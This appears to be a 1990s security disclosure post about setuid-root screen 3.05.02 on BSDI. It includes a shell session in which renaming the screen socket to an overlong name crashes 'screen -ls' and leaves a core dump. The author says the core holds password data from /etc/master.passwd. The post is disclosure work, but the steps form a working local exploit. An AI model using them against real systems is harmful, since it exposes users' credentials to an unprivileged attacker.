screen 3.05.02

[khelbin () CONNIX COM (Khelbin Sunvold)]

THe program under question is /usr/contrib/bin/screen (BSDI).  This is
screen version 3.05.02 and is installed setuid root, as it is "supposed"
to be.  Here is a demonstration:

$ screen

Screen version 3.05.02 (FAU) 19-Aug-93

Copyright (c) 1993 Juergen Weigert, Michael Schroeder
Copyright (c) 1987 Oliver Laumann

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the terms of the GNU General Public License as published by the Free Software
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$ screen

$ cd /tmp/screens/S-khelbin
$ ls
246.ttyp7.comet
$ mv 246.ttyp* 246.ttyp7.cometanonymousanonymousanonymousanonymous\
> anonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous\
> anonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous
$ screen -ls
/tmp/screens/S-khelbin/246.ttyp7.cometanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous:
 connect: Invalid argument
%1     278 Abort - core dumped  screen -ls
$ ls -l
total 176
srwx------  1 khelbin  khelbin       0 Feb 15 21:33 
246.ttyp7.cometanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymousanonymous
-rw-r--r--  1 khelbin  khelbin  172032 Feb 15 21:33 core.screen
$ strings core.screen|less


The core.screen file contains unencrypted password strings from
/etc/master.passwd, which of course, should not be readable by me.  I'm
also sure there's a buffer-overflow here but I havn't had as much time as
I would like to to look through the source yet.


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